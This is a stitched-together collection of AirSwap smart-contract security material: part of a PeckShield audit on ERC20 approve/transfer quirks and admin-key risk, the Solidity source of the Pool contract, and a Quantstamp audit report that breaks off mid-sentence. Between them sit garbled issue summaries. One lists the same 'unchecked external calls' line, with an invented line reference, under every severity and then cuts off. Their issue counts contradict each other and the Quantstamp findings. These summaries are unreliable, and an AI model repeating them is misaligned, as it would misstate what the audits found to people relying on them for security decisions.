•CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked external calls ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@airswap/staking/contracts/interfaces/IStaking.sol"; import "./interfaces/IPool.sol"; /** * @title AirSwap Pool: Claim Tokens * @notice https://www.airswap.io/ */ contract Pool is IPool, Ownable { using SafeERC20 for IERC20; bytes32 public constant DOMAIN_TYPEHASH = keccak256( abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "uint256 chainId,", "address verifyingContract", ")" ) ); bytes32 public constant CLAIM_TYPEHASH = keccak256( abi.encodePacked( "Claim(", "uint256 nonce,", "address participant,", "uint256 score", ")" ) ); bytes32 public constant DOMAIN_NAME = keccak256("POOL"); bytes32 public constant DOMAIN_VERSION = keccak256("1"); uint256 public immutable DOMAIN_CHAIN_ID; bytes32 public immutable DOMAIN_SEPARATOR; uint256 internal constant MAX_PERCENTAGE = 100; uint256 internal constant MAX_SCALE = 77; // Larger the scale, lower the output for a claim uint256 public scale; // Max percentage for a claim with infinite score uint256 public max; // Mapping of address to boolean to enable admin accounts mapping(address => bool) public admins; /** * @notice Double mapping of signers to nonce groups to nonce states * @dev The nonce group is computed as nonce / 256, so each group of 256 sequential nonces uses the same key * @dev The nonce states are encoded as 256 bits, for each nonce in the group 0 means available and 1 means used */ mapping(address => mapping(uint256 => uint256)) internal noncesClaimed; // Staking contract address address public stakingContract; // Staking token address address public stakingToken; /** * @notice Constructor * @param _scale uint256 * @param _max uint256 * @param _stakingContract address * @param _stakingToken address */ constructor( uint256 _scale, uint256 _max, address _stakingContract, address _stakingToken ) { require(_max <= MAX_PERCENTAGE, "MAX_TOO_HIGH"); require(_scale <= MAX_SCALE, "SCALE_TOO_HIGH"); scale = _scale; max = _max; stakingContract = _stakingContract; stakingToken = _stakingToken; admins[msg.sender] = true; uint256 currentChainId = getChainId(); DOMAIN_CHAIN_ID = currentChainId; DOMAIN_SEPARATOR = keccak256( abi.encode( DOMAIN_TYPEHASH, DOMAIN_NAME, DOMAIN_VERSION, currentChainId, this ) ); IERC20(stakingToken).approve(stakingContract, 2**256 - 1); } /** * @notice Set scale * @dev Only owner * @param _scale uint256 */ function setScale(uint256 _scale) external override onlyOwner { require(_scale <= MAX_SCALE, "SCALE_TOO_HIGH"); scale = _scale; emit SetScale(scale); } /** * @notice Set max * @dev Only owner * @param _max uint256 */ function setMax(uint256 _max) external override onlyOwner { require(_max <= MAX_PERCENTAGE, "MAX_TOO_HIGH"); max = _max; emit SetMax(max); } /** * @notice Add admin address * @dev Only owner * @param _admin address */ function addAdmin(address _admin) external override onlyOwner { require(_admin != address(0), "INVALID_ADDRESS"); admins[_admin] = true; } /** * @notice Remove admin address * @dev Only owner * @param _admin address */ function removeAdmin(address _admin) external override onlyOwner { require(admins[_admin] == true, "ADMIN_NOT_SET"); admins[_admin] = false; } /** * @notice Set staking contract address * @dev Only owner * @param _stakingContract address */ function setStakingContract(address _stakingContract) external override onlyOwner { require(_stakingContract != address(0), "INVALID_ADDRESS"); stakingContract = _stakingContract; IERC20(stakingToken).approve(stakingContract, 2**256 - 1); } /** * @notice Set staking token address * @dev Only owner * @param _stakingToken address */ function setStakingToken(address _stakingToken) external override onlyOwner { require(_stakingToken != address(0), "INVALID_ADDRESS"); stakingToken = _stakingToken; IERC20(stakingToken).approve(stakingContract, 2**256 - 1); } /** * @notice Admin function to migrate funds * @dev Only owner * @param tokens address[] * @param dest address */ function drainTo(address[] calldata tokens, address dest) external override onlyOwner { for (uint256 i = 0; i < tokens.length; i++) { uint256 bal = IERC20(tokens[i]).balanceOf(address(this)); IERC20(tokens[i]).safeTransfer(dest, bal); } emit DrainTo(tokens, dest); } /** * @notice Withdraw tokens from the pool using a signed claim * @param token address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdraw( address token, uint256 nonce, uint256 score, uint8 v, bytes32 r, bytes32 s ) external override { withdrawProtected(0, msg.sender, token, nonce, msg.sender, score, v, r, s); } /** * @notice Withdraw tokens from the pool using a signed claim and send to recipient * @param minimumAmount uint256 * @param token address * @param recipient address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdrawWithRecipient( uint256 minimumAmount, address token, address recipient, uint256 nonce, uint256 score, uint8 v, bytes32 r, bytes32 s ) external override { withdrawProtected( minimumAmount, recipient, token, nonce, msg.sender, score, v, r, s ); } /** * @notice Withdraw tokens from the pool using a signed claim and stake * @param minimumAmount uint256 * @param token address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdrawAndStake( uint256 minimumAmount, address token, uint256 nonce, uint256 score, uint8 v, bytes32 r, bytes32 s ) external override { require(token == address(stakingToken), "INVALID_TOKEN"); _checkValidClaim(nonce, msg.sender, score, v, r, s); uint256 amount = _withdrawCheck(score, token, minimumAmount); IStaking(stakingContract).stakeFor(msg.sender, amount); emit Withdraw(nonce, msg.sender, token, amount); } /** * @notice Withdraw tokens from the pool using signature and stake for another account * @param minimumAmount uint256 * @param token address * @param account address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdrawAndStakeFor( uint256 minimumAmount, address token, address account, uint256 nonce, uint256 score, uint8 v, bytes32 r, bytes32 s ) external override { require(token == address(stakingToken), "INVALID_TOKEN"); _checkValidClaim(nonce, msg.sender, score, v, r, s); uint256 amount = _withdrawCheck(score, token, minimumAmount); IERC20(stakingToken).approve(stakingContract, amount); IStaking(stakingContract).stakeFor(account, amount); emit Withdraw(nonce, msg.sender, token, amount); } /** * @notice Withdraw tokens from the pool using a signed claim * @param minimumAmount uint256 * @param token address * @param participant address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdrawProtected( uint256 minimumAmount, address recipient, address token, uint256 nonce, address participant, uint256 score, uint8 v, bytes32 r, bytes32 s ) public override returns (uint256) { _checkValidClaim(nonce, participant, score, v, r, s); uint256 amount = _withdrawCheck(score, token, minimumAmount); IERC20(token).safeTransfer(recipient, amount); emit Withdraw(nonce, participant, token, amount); return amount; } /** * @notice Calculate output amount for an input score * @param score uint256 * @param token address * @return amount uint256 amount to claim based on balance, scale, and max */ function calculate(uint256 score, address token) public view override returns (uint256 amount) { uint256 balance = IERC20(token).balanceOf(address(this)); uint256 divisor = (uint256(10)**scale) + score; return (max * score * balance) / divisor / 100; } /** * @notice Verify a signature * @param nonce uint256 * @param participant address * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function verify( uint256 nonce, address participant, uint256 score, uint8 v, bytes32 r, bytes32 s ) public view override returns (bool valid) { require(DOMAIN_CHAIN_ID == getChainId(), "CHAIN_ID_CHANGED"); bytes32 claimHash = keccak256( abi.encode(CLAIM_TYPEHASH, nonce, participant, score) ); address signatory = ecrecover( keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, claimHash)), v, r, s ); admins[signatory] && !nonceUsed(participant, nonce) ? valid = true : valid = false; } /** * @notice Returns true if the nonce has been used * @param participant address * @param nonce uint256 */ function nonceUsed(address participant, uint256 nonce) public view override returns (bool) { uint256 groupKey = nonce / 256; uint256 indexInGroup = nonce % 256; return (noncesClaimed[participant][groupKey] >> indexInGroup) & 1 == 1; } /** * @notice Returns the current chainId using the chainid opcode * @return id uint256 The chain id */ function getChainId() public view returns (uint256 id) { // no-inline-assembly assembly { id := chainid() } } /** * @notice Checks Claim Nonce, Participant, Score, Signature * @param nonce uint256 * @param participant address * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function _checkValidClaim( uint256 nonce, address participant, uint256 score, uint8 v, bytes32 r, bytes32 s ) internal { require(DOMAIN_CHAIN_ID == getChainId(), "CHAIN_ID_CHANGED"); bytes32 claimHash = keccak256( abi.encode(CLAIM_TYPEHASH, nonce, participant, score) ); address signatory = ecrecover( keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, claimHash)), v, r, s ); require(admins[signatory], "UNAUTHORIZED"); require(_markNonceAsUsed(participant, nonce), "NONCE_ALREADY_USED"); } /** * @notice Marks a nonce as used for the given participant * @param participant address * @param nonce uint256 * @return bool True if nonce was not marked as used already */ function _markNonceAsUsed(address participant, uint256 nonce) internal returns (bool) { uint256 groupKey = nonce / 256; uint256 indexInGroup = nonce % 256; uint256 group = noncesClaimed[participant][groupKey]; // If it is already used, return false if ((group >> indexInGroup) & 1 == 1) { return false; } noncesClaimed[participant][groupKey] = group | (uint256(1) << indexInGroup); return true; } /** * @notice Withdraw tokens from the pool using a score * @param score uint256 * @param token address * @param minimumAmount uint256 */ function _withdrawCheck( uint256 score, address token, uint256 minimumAmount ) internal view returns (uint256) { require(score > 0, "SCORE_MUST_BE_PROVIDED"); uint256 amount = calculate(score, token); require(amount >= minimumAmount, "INSUFFICIENT_AMOUNT"); return amount; } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are 